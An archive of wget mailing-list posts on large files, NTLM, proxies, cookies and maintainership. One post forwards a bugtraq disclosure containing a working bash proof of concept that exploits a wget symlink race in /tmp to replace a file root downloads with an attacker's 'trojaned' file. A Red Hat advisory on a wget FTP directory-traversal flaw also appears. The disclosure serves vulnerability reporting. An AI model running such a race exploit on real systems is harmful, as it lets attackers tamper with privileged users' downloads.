On Fri, 10 Sep 2004, david coornaert wrote: My point is though that wget compiled on Tru64 OS does work with huge files. That's most likely because Tru64 is a 64bit architecture where all longs are 64 bits already and thus most code need no particular fixes to support 4GB files. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: wput mailing list
On Thu, 26 Aug 2004, Justin Gombos wrote: This list appears either dead, or very low traffic. 20-30 mails per month or so the last couple of month. That certainly isn't dead, but it might be called low traffic depending on your opinion about mail volumes. I wasn't able to find any mailing lists for wput, so I just established one at http://groups.yahoo.com/group/wput/, if anyone is interested. wput is not wget so I agree discussing it on a different list is a good idea. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: -T parameter on HP-UX port
On Sat, 5 Jun 2004, Hrvoje Niksic wrote: Believe it or not, I wasn't aware of that. Furthermore, I'm pretty certain that older versions of Autoconf handled HPUX just fine. The level of overengineering that went into Autoconf in the last several years is appalling. :-( I agree with this, and I too am convinced that this used to work fine in the past and just suddenly stopped working at some point. Would it make sense to simply always use this check? In my mind, this is what the function-exists test should do, but I thought that I'd leave the existing test do what it thinks is right first since there might be cases and systems around that works in ways I haven't considered. For example, this extra test might fail if the function name is defined as a macro. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: -T parameter on HP-UX port
On Thu, 3 Jun 2004, Hrvoje Niksic wrote: It seems configure's way of checking for select simply fails on HPUX. :-( The default configure test that checks for the presence of a function is certainly not optimal for all platforms and environments. In curl's configure script, we've resorted to a secondary check if the default check fails, and that one detects select fine even in cases like this. The concept is basicly like this: AC_CHECK_FUNCS( select, , dnl if not found, $ac_func is the name we check for func=$ac_func AC_MSG_CHECKING([deeper for $func]) AC_TRY_LINK( [], [ $func ();], AC_MSG_RESULT(yes!) eval ac_cv_func_$func=yes def=`echo HAVE_$func | tr 'a-z' 'A-Z'` AC_DEFINE_UNQUOTED($def, 1, [If you have $func]), AC_MSG_RESULT(but still no) ) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
RE: Is NTLM authentication with wget possible?
On Tue, 25 May 2004, Herold Heiko wrote: Wget does not support NTLM auth (yet). For the ones who feel like helping out, I have already donated (and properly assigned copyright to FSF with papers and everything) fully working NTLM code to the wget project (mailed privately to Hrvoje) that I'm sure everyone would be happy if it was incorporated in the wget code base properly. My code - proved working in curl - is based on the wonderfully detailed notes done by Eric Glass = http://davenport.sourceforge.net/ntlm.html I'm not motivated nor involved enough in wget to do the necessary changes myself. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Wget race condition vulnerability (fwd)
I found this on the bugtraq mailing list and since I haven't seen it discussed here, I thought it could be informative. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol -- Forwarded message -- Date: 16 May 2004 23:28:47 - From: Hugo Vázquez Caramés [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Wget race condition vulnerability Tested software: Wget 1.9, Wget 1.9.1 Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's a window time where Wget is exposed to a symlink attack (only on world writable directories) This is the attack sequence: 1) Wget process starts 2) File checking (but not locking!) --- attacker creates symlink 3) Wget writes on the wrong place As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: file hijacking. 1)Open a shell and execute wget_race.sh with user A. 2)Open another shell and with root user launch wget from /tmp: wget http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.26.bz2 3) Check the content of /tmp/patch-2.4.26.bz2 Smile :-) --- wget_race.sh #!/bin/bash rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2 echo 1salida.txt a=`cat salida.txt` echo Waiting for Wget execution... while [ $a == 1 ] do ps auxw|grep wget|grep patch-2.4.26.bz2salida.txt a=`cat salida.txt` done echo Process catched! pgrep -u root wgetpid.txt ln -s /dev/null /tmp/patch-2.4.26.bz2 echo /dev/null link created! echo Waiting for downloading to finish... b=`pgrep -u root wget` touch $b.wget c=1 while [ $c == 1 ] do if [ -e .wget ] then c=0 echo Downloading finished! Let's delete the original file, and put our trojaned file :-) rm -f /tmp/patch-2.4.26.bz2 echo Surprise!/tmp/patch-2.4.26.bz2 echo Does it worked? ls -la /tmp/patch-2.4.26.bz2 else b=`pgrep -u root wget` touch $b.wget fi done - This flaw open a wide range of attack vectors. Any program wich runs wget from a world writable directory is vulnerable. Hugo Vazquez Caramés [EMAIL PROTECTED]
Re: Large Files Support for Wget
On Tue, 11 May 2004, Hrvoje Niksic wrote: That in itself is not a problem because, under Windows, off_t will be typedeffed to a 64-bit type if LFS is available, and to `int' otherwise. Sorry for my confusion, but when I think about it I believe Windows _do_ have an off_t, but that is merely 32bit. The plain libc in Windows seem to be limited to 32 bits, even though the actual underlying code support 64bit sizes. In curl we work around this by providing our own curl_off_t variable. The point of my question was: should low-level code even care whether LFS is in use (by using off_t for various variables), or should it use intmax_t to get the largest representation available on the system? The latter is in principle sort of like using `long', except you're not tied to the actual size of `long'. In curl we went with curl_off_t for various variables and that is then 32bit or 64bit depending on platform. I can't see many benefits in using 64bit variables on systems that don't deal with 64bit filesizes. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Large Files Support for Wget
On Mon, 10 May 2004, [iso-8859-2] Dra?en Ka?ar wrote: * Change most (all?) occurrences of `long' in the code to `off_t'. Or should we go the next logical step and just use uintmax_t right away? Just use off_t. ... but Windows has no off_t... ;-) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: http over auth/proxy
On Tue, 30 Mar 2004, Hrvoje Niksic wrote: * http.c (gethttp): Send the Proxy-Authorization header over non-SSL connections too. I couldn't really tell from this diff, but I thought I'd remind you: If you are using SSL over a proxy, you should not send the Proxy-Authorization in the GET request, only in the CONNECT request. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
RE: Syntax question ...
On Thu, 22 Jan 2004, Simons, Rick wrote: curl https://server/file -uuser:pass Virtual user user logged in. No file created locally. Chalk it up as a http server flaw? Uh, curl doesn't create any file when used like that. It outputs the downloaded data to stdout unless you use an option to direct it elsewhere. You can use curl -v -i [URL] to get to see the full request curl sends and all the headers it receives back. Then those could be compared to what wget sends/gets. In my eyes, this looks like the correct output from curl. Wasn't it? -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: bit overflow in wget 1.9
On Wed, 21 Jan 2004, Hrvoje Niksic wrote: Thanks for the report. Wget still doesn't handle large files (it doesn't use off_t yet). I plan to fix this for the next release. Speaking of this subject, I'm currently doing just about the same in libcurl (adding large file support) and I thought I'd share a clue I've learned: off_t is not a good type to use for this (large sizes) on Windows, since it is 32 bits even though Windows _does_ support large files. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: passive-ftp as default
On Thu, 11 Dec 2003, Hrvoje Niksic wrote: IIRC passive FTP is not documented by RFC 959 It was. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
RE: SSL over proxy passthrough
On Fri, 28 Nov 2003, Hrvoje Niksic's patch: This patch implements a first attempt of using the CONNECT method to establish passthrough of SSL communication over non-SSL proxies. This will require testing. I find this wording a bit funny. What is a non-SSL proxy? CONNECT is the defined way to speak SSL when using a http proxy... + /* This does not appear right. Can't the proxy request, + say, `Digest' authentication? */ Right, the proxy can of course require Digest (or other kinds of) authentication. The 'A2' encoded chunk needs the 'CONNECT' string then. Also, I couldn't really tell from this patch, but make sure that you don't accidentally pass on the proxy authentication in the following request to the actual remote server as well. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: SSL over proxy passthrough
On Fri, 28 Nov 2003, Hrvoje Niksic wrote: I find this wording a bit funny. What is a non-SSL proxy? CONNECT is the defined way to speak SSL when using a http proxy... What if someone explicitly uses http_proxy=https://...? Or even https_proxy=https://...? Ah, right! *That* is indeed a very-much-SSL proxy. I didn't consider that case. I don't think it is ever used in practise. The 'A2' encoded chunk needs the 'CONNECT' string then. I'm not sure I understand this. Sorry, I cut down a bit too much on my wording. I meant that since the Digest authentication hash uses the HTTP method string, you need to make sure that 'CONNECT' is the method used when you use Digest for this case. But as you said, Digest is rarely used for proxy authentication. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: SSL over proxy passthrough
On Fri, 28 Nov 2003, Hrvoje Niksic wrote: The bottom line is: should I even acknowledge `https' proxies? I don't think you'll ever run into any. Do the browsers work with them? I don't know. I've never seen anyone use a proxy like that. Does curl handle `https_proxy' or `http_proxy' being a https URL? Nope. curl only speaks non-SSL HTTP with the proxy. (To be precise, it ignores the protocol part of the given proxy and connects to it non-SSL.) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
MSG_PEEK (was Re: Testing on BEOS?)
On Wed, 26 Nov 2003, Hrvoje Niksic wrote: Speaking of testing, please be sure to test the latest CVS on Windows as well, where MSG_PEEK is said to be flaky. HTTPS is another thing that might work strangely because SSL_peek is undocumented (!). Out of curiosity, why are you introducing this peeking? I mean, what's the gain? -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: feature request: --second-guess-the-dns
On Mon, 17 Nov 2003, Hrvoje Niksic wrote: Come to think of it, I've had need for this before; the switch makes at least as much sense as `--bind-address', which I've never needed myself. Maybe `--connect-address' would be a good name for the option? It would nicely parallel `--bind-address'. Are there any takers to implement it? In curl land we offer this functionality in a more implicit way, by allowing the user to override any tool-generated header from the command line. It might not be as easily accessible as this proposed option, but it offers even more power. In the case where you want to connect to 1.2.3.4, asking for the host abc.com you would use 'curl -H Host: abc.com http://1.2.3.4'. This of course also lets you fool around with port numbers like 'curl -H Host: abc.com:8080 http://1.2.3.4:2003' I don't claim this is a better way, I'm only providing food for thought here. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: keep alive connections
On Tue, 11 Nov 2003, Hrvoje Niksic wrote: I think the difference is that Wget closes the connection when it decides not to read the request body. For example, it closes on redirections because it (intentionally) ignores the body. Another approach could be to read and just ignore the body of redirect pages. You'd gain a close/connect but lose the transfer time. With the HEAD method you never know when you'll stumble upon a CGI that doesn't understand it and that will send the body anyway. But maybe it would actually be a better idea to read (and discard) the body than to close the connection and reopen it. That approach is just as hard, only depending on different things to work correctly. Since we're talking about silly servers, they could just as well return a body to the HEAD request, and the response is said to be persistant and the Content-Length: is set. The size of the Content-Length in a HEAD request is the size of the body that would be returned if GET is request so you'd have no idea how much data to read Been there. Seen it happen. There's just no good way to deal with HEAD requests that sends back a body. I mean besides yelling at the author of the server side. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Does HTTP allow this?
On Sun, 9 Nov 2003, Hrvoje Niksic wrote: One thing that might break (but that Wget doesn't yet support anyway) is NTLM, which seems to authorize the *connections* individual connections. Yes it does. It certainly makes things more complicated, as you would have to exclude such a connection from the checks (at least I think you want that, I don't think you'll be forced to do so). And you also need to exclude HTTPS-connections from this logic (since name-based virtual hosting over SSL isn't really possible). curl doesn't do such advanced IP-checking to detect existing connections to re-use, it only uses host-name based checking for connection re-use for persistant connections. Does curl handle NTLM? Yes it does since a while back. I am willing to donate NTLM code to the wget project, if you want it. I'm not very familiar with the wget internals so they wouldn't be a fully working patch, but a set of (proved working) functions to be integrated by someone with more wget insights. (It depends on crypto- functions provided by OpenSSL.) Otherwise, I can recommend Eric Glass' superb web page for all bits and and details on the NTLM protocol: http://davenport.sourceforge.net/ntlm.html -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Does HTTP allow this?
On Mon, 10 Nov 2003, Hrvoje Niksic wrote: I'm already treating SSL and non-SSL connections as incompatible. But I'm curious as to why you say name-based virtual hosting isn't possible over SSL? To quote the Apache docs: Name-based virtual hosting cannot be used with SSL secure servers because of the nature of the SSL protocol. Since you connect to the site in a secure manner, you can't select which host to get data from after a successful connection, as the connection will not be successul unless you have all the proper credentials already. That's very generous, thanks! I'll prepare a C file and header and post them in a separate mail. They will need a little attention, but not much. Mainly to setup pointers to user name, password, etc. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Does HTTP allow this?
On Sat, 8 Nov 2003, Hrvoje Niksic wrote: So if I have the connection to the endpoint, I should be able to reuse it. But on the other hand, a server might decide to connect a file descriptor to a handler for a specific virtual host, which would be unable to serve anything else. FWIW, it works fine with Apache. I would say that your described approach would work nicely, and it would not contradict anything in the HTTP standards. Each single request is stand-alone and may indeed have its own Host: header, even when the connection is kept alive. At least this is how I interpret these things. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: keep alive connections
On Fri, 7 Nov 2003, Hrvoje Niksic wrote: Persistent connections were available prior to HTTP/1.1, although they were not universally implemented. Wget uses the `Keep-Alive' request header to request persistent connections, and understands both the HTTP/1.0 `Keep-Alive' and the HTTP/1.1 `Connection: keep-alive' response header. HTTP 1.1 servers don't (normally) use Connection: keep-alive. Since 1.1 assumes persistant connections by default they only send Connection: close if they aren't. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Cookie options
On Tue, 4 Nov 2003, Hrvoje Niksic wrote: Interestingly enough, curl has a `--junk-session-cookies', which indicates that it keeps them by default (?). Daniel, are you still listening? :-) I am, and that is correct! I never thought that single-shot curl invokes could be seen as single sessions and therefore I think removing (or not saving) session cookies is plain wrong and will only make things harder and more confusing to users. But then, I believe the average usage of wget and curl differ a bit. Many users that use curl to script actions and that use cookies, operate with multiple curl command lines. The option named --junk-session-cookies is a rather new baby in curl land, as previously curl never ignored session cookies at load-time. Also, curl doesn't have any option to send out-of-date cookies such as has been proposed here as an option for wget, and I've never got a request from a single soul to add it to curl. I'd say it is an indication that such an option would not be widely used. (Given that curl has been used for scripting POSTs, logins and cookie stuff for years already.) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Cookie options
On Wed, 5 Nov 2003, Hrvoje Niksic wrote: Good point, although I somewhat disagree about the plain wrong part. From what I gather, the `cookies.txt' file to which Wget and curl dump their cookies is meant to hold permanent cookies. Putting session cookies inside might confuse other browsers. Not necessarily, since they are stored without any expire time (using zero) and ordinary non-session cookies always have a number different than zero in that field. But sure, they might still confuse a browser that reads the file. I've never considered that a problem and I've never got any problems with that behavior reported. I believe very few people actually try that stunt. That notwithstanding, another problem is that, since session cookies have no expiry time, saving them by default would make them effectively immortal, which sounds quite wrong to me. I may be missing curl-specific details, though. Yes, it makes them immortal and lets the user decide when the session ends (by using the correct option). There is no one but the user who can tell when one session ends and another starts. In most cases, people will make a fresh cookie file each time they start a new session and then just keep session cookies around until they're done for this time. (Based on what I've done myself and seen others do with automated curl operations using cookies.) Hmm. Wget will not ignore session cookies at load-time (any more), regardless of options. `--keep-session-cookies' causes it not to discard them at save time. Right, but then again people who use wget are more likely (I'm guessing here) to use one single wget command line and consider that to be the full session. In curl's case, when using cookies you will very often enter multiple command lines to sort out a single session's business. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: The libtool situation
On Wed, 5 Nov 2003, Hrvoje Niksic wrote: Is it me, or is there something really strange going on with libtool? I tried updating Wget's libtool, but libtool 1.5 is *still* unavailable from the GNU FTP site and its mirrors. It points to a BACK-RSN type of file that explains how they've been compromised, and so on. It must be something that has happened recently, as the 1.5 version used to be around on all the GNU mirrors. In case it helps, I happened to find my own downloaded package lying around and I can offer it for download from here: http://www.contactor.se/~dast/libtool-1.5.tar.gz -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: POST followed by GET
On Tue, 14 Oct 2003, Tony Lewis wrote: It would be the same logically equivalent to the following three commands: wget --user-agent='my robot' --post-data 'data=foo' POST URL1 wget --user-agent='my robot' --post-data 'data=bar' POST URL2 wget --user-agent='my robot' --referer=URL3 GET URL4 Just as a comparison, this approach is basicly what we've went with in curl (curl has supported this kind of operations for years, including support for multipart formposts which I guess is next up for adding to wget! ;-P). There are just too many options or specifics that you can set, so having them all possible to change between several URLs specified on the command line makes the command line parser complicated and the command lines even more complex. The main thing this described approach requires (that I can think of) is that wget would need to store session cookies as well in the cookie file (I believe I read that it doesn't atm). -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Using chunked transfer for HTTP requests?
On Tue, 7 Oct 2003, Hrvoje Niksic wrote: My first impulse was to bemoan Wget's antiquated HTTP code which doesn't understand chunked transfer. But, coming to think of it, even if Wget used HTTP/1.1, I don't see how a client can send chunked requests and interoperate with HTTP/1.0 servers. The thing is, to be certain that you can use chunked transfer, you have to know you're dealing with an HTTP/1.1 server. But you can't know that until you receive a response. And you don't get a response until you've finished sending the request. A chicken-and-egg problem! The only way to deal with this automaticly, that I can think of, is to use a Expect: 100-continue request-header and based on the 100-response you can decide if the server is 1.1 or not. Other than that, I think a command line option is the only choice. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Portable representation of large integers
On Mon, 22 Sep 2003, Hrvoje Niksic wrote: The bottom line is, I really don't know how to solve this portably. Does anyone know how widely ported software deals with large files? In curl, we provide our own *printf() code that works as expected on all platforms. (Not that we have proper 2GB support yet anyway, but that's another story. For example, we have to face the problems with exposing an API using such a variable type...) -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: NTLM authentication in wget
On Mon, 8 Sep 2003, Wayne Eisenberg wrote: I think it must have something to do with NTLM authentication in IIS 5.0, but here's the debug output: [snip] Date: Tue, 09 Sep 2003 09:14:34 GMT WWW-Authenticate: Negotiate WWW-Authenticate: NTLM Content-Length: 4431 Content-Type: text/html This is NTLM required, indeed. Does anyone have any ideas on what's wrong and how to fix it (if possible)? The problem is that wget doesn't support NTLM. The fix is to implement it. A work-around would be to get a recent curl release, as it supports NTLM. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: IPv6 detection in configure
On Tue, 9 Sep 2003, Hrvoje Niksic wrote: Thanks to Daniel Stenberg who has either been reading my mind or has had the exact same needs, here is a patch that brings configure (auto-)detection for IPv6. Of course I read your mind, what else could it be? :-P I'm glad it helped. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: autoconf 2.5x and automake support for wget 1.9 beta
On Mon, 1 Sep 2003, Mauro Tortonesi wrote: i hope that you will like the new autoconf-2.5x/automake-1.6-ed package. i also hope that the wget maintainer will consider accepting this patch. 1. There is no current wget maintainer. Your CVS tree has a good chance of becoming the official one if you want to. 2. Care to elaborate on why you introduced automake in wget? I have a feeling this is not what earlier wget hackers would've wanted. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: autoconf 2.5x and automake support for wget 1.9 beta
On Tue, 2 Sep 2003, Mauro Tortonesi wrote: 2. Care to elaborate on why you introduced automake in wget? it makes the sources __MUCH__ easier to maintain, believe me. you only need 6 months (i am __definitely__ not joking here) to understand how the automake/autoconf/libtool/gettext stuff works and then No need for any lecture here. I'm quite well acquainted with how the autotools family works. i have the same feeling of yours. and i can't understand why the wget developers didn't use automake. Perhaps because a) automake doesn't add much value to wget while b) adding complexity to the output makefiles. in fact, if you take a look at the Makefile.in's generated by automake in my package you'll see that they aren't much different from the original Makefile.in's contained in wget-1.9beta, so why bother maintaining files that could be automatically generated from automake? In my eyes, I think you've simply moved the work to maintain src/Makefile.am instead of maintaining src/Makefile.in. The amount of work seems to be pretty much the same. 1) the Makefile.in's generated by automake have more functions (like the very useful make maintainer-clean) If you say so! ;-) I've never used that target, and I've maintained packages built with automake for many years! 2) automake provides a seamless integration with libtool Why is libtool-integration necessary in wget? 3) with automake is much easier to build the texi documentation and also to generate html, ps and pdf docs Why? 4) automake supports automatic de-ANSI-fication (which personally, i hate, but many other developers like) Doesn't wget already have this support? 5) with automake it is easier to generate and check tarballs Agreed. But this isn't something that is very hard to do without automake... is this enough? ;-) You don't have to convince *me* since I'm just one of the interested guys in the audience, asking one of the players on stage! ;-) I'll go back to lurk mode again. Thanks for your lengthy reply anyway! -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Reminder: wget has no maintainer
On Tue, 12 Aug 2003, Aaron S. Hawley wrote: 1) is proficient in C That is next to common knowledge. 2) knows Internet protocols THe HTTP 1.0 and FTP RFC959 that wget supports today are pretty basic and no-frills. Besides, there are many proof-readers in the audience that help identifying flaws if any should occur. 3) is willing to learn the intricacies of wget Judging from the shear amount of patches that fly around, many people have walked down that road already. 4) has the time to go through months' worth of email and patches Nah, ignore them and look forward. If people really care they'll resubmit them or others will. Setting up a proper bug tracker for wget could be a separate task for someone to assist the new maintainer with... 5) expects to have time to continue to maintain wget Yes. A maintainer that can't maintain wouldn't be any improvement from what the situation is now. We know Hrvoje is there, somewhere, only lacking the opportunity to maintain wget. 2a) All of them. :) (Is familiar with application-level network protocols, web standards and their usage, correct or otherwise . For an example see the HTML comments thread. Knows (X)HTML and familiar with other web media formats.) Yeah, but there's no reason all that knowledge would have to be possesed by one single do-it-all magician. 6) Will move Wget sources to the savannah(.gnu.org) Whatever, as long as there are more than one person with CVS write access... it seems like there's a lot of hackers, bug-reporters, users and supporters who could collectively accomplish a lot of the work, we really just need an all-knowing philosopher-queen or king to not necessarily do a whole lot of work, but just have an active CVS account. so as technically threatening as the Wget maintainer application looks, we could currently most benefit from a trusted soul. Indeed. Or make that trusted souls, as I believe it would be better to have more than one. -- -=- Daniel Stenberg -=- http://daniel.haxx.se -=- ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Reminder: wget has no maintainer
Hi friends, I just thought that I should remind everyone in the audience: The GNU project is looking for a new maintainer for wget, as the current one wishes to step down. This is mentioned here: http://www.gnu.org/help/help.html And it says that volounteers should contact [EMAIL PROTECTED]. That said, I personally have nothing to do with the GNU project or with wget, I'm just your average Joe hanging out here with the rest. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: dev. of wget (was Re: Removing files and directories not presenton remote FTP server
On Fri, 14 Feb 2003, Aaron S. Hawley wrote: If and when someone decides to implement it. But there is almost certainly not going to be another release until after Hrvoje Niksic has returned. Can someone at FSF do something? [EMAIL PROTECTED], [EMAIL PROTECTED] This seems like the silliest reason to temporarily halt development. Technically and theoreticly, anyone can grab the sources, patch the bugs, add features and release a new version. That's what the GPL is there for. In practise, however, that would mean stepping on Hrvoje's toes and I don't think anyone wants to do that. Be it people in the FSF or elsewhere. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: Long-awaited feature implemented: removing of files and directoriesnot present on remote FTP server
On Wed, 8 Jan 2003, Alexey Dokuchaev wrote: PS. I'm developing under FreeBSD, and my patch will not compile cleanly under Linux unless two small changes are made: change dp-d_namlen to dp-d_reclen on lines 158 and 159 of patch. I wonder why in hell Linux does things like that?? (With all due respect.) I'd guess that they do that because POSIX doesn't specify those things with enough details, so I'm afraid both FreeBSD and Linux can claim POSIX readdir() compliance anyway. The d_name[] field of the dirent struct is the only field you can rely on to exist. Your patch will thus unfortunately very likely break on other platforms as well. AFAIK. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: [Req #2433] wget project at sunsite.dk
On Wed, 18 Dec 2002 [EMAIL PROTECTED] wrote: Reply to questions and help out cannot get wget release to anywhere else. My last email simply asked for a change in the way wget gets updated and released, no matter it is one person or multiple people wget team. Now, let's not be totally ignorant here, please. Since the team is only one person and that single person is away, it will be hard to get help from the team. If the team would consist of more people, it would be less likely that the whole team would all be away at the same time. I did not complain on your behaviour or anyting, I was only mentioning the need for a wget team bigger than one person. And I've done this before. Multiple times. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
Re: [Req #2433] wget project at sunsite.dk
On Tue, 17 Dec 2002 [EMAIL PROTECTED] wrote: I felt the wget devel team wasn't active since 1.82 release. I have sent two patches without getting reply or anything from the wget devel team. For an important software such as wget, the current situation needs remedy. The wget team you're talking about is one single person: Hrvoje. There are many people subscribed to the general wget mailing list and they repeatedly and frequently reply to questions and help out. It has been said and could be said again: the wget team should be extended to consist of more people to help Hrvoje out during periods when he can't donate as much of his time as wget needs. Just my own opinions of course. -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol
[RHSA-2002:229-10] Updated wget packages fix directory traversalbug (fwd)
I find it mildly annoying that I have not seen this discussed or even mentioned in here. Or am I just ignorant? -- Daniel Stenberg - http://daniel.haxx.se - +46-705-44 31 77 ech`echo xiun|tr nu oc|sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol -- Forwarded message -- Date: Tue, 10 Dec 2002 10:23 -0500 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED], [EMAIL PROTECTED] Subject: [RHSA-2002:229-10] Updated wget packages fix directory traversal bug - Red Hat, Inc. Red Hat Security Advisory Synopsis: Updated wget packages fix directory traversal bug Advisory ID: RHSA-2002:229-10 Issue date:2002-12-10 Updated on:2002-12-04 Product: Red Hat Linux Keywords: wget directory traversal ftp client flaw:dot Cross references: Obsoletes: CVE Names: CAN-2002-1344 - 1. Topic: The wget packages shipped with Red Hat Linux 6.2 through 8.0 contain a security bug which, under certain circumstances, can cause local files to be written outside the download directory. 2. Relevant releases/architectures: Red Hat Linux 6.2 - i386 Red Hat Linux 7.0 - i386 Red Hat Linux 7.1 - i386, ia64 Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 3. Problem description: Versions of wget prior to 1.8.2-4 contain a bug that permits a malicious FTP server to create or overwrite files anywhere on the local file system. FTP clients must check to see if an FTP server's response to the NLST command includes any directory information along with the list of filenames required by the FTP protocol (RFC 959, section 4.1.3). If the FTP client fails to do so, a malicious FTP server can send filenames beginning with '/' or containing '/../' which can be used to direct a vulnerable FTP client to write files (such as .forward, .rhosts, .shost, etc.) that can then be used for later attacks against the client machine. All Red Hat Linux users using wget 1.8.2-4 should upgrade to the errata packages which are not vulnerable to this issue. Thanks to Steven M. Christey for his work in discovering this issue in current FTP clients and for providing a patched FTP server to verify the new packages. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is 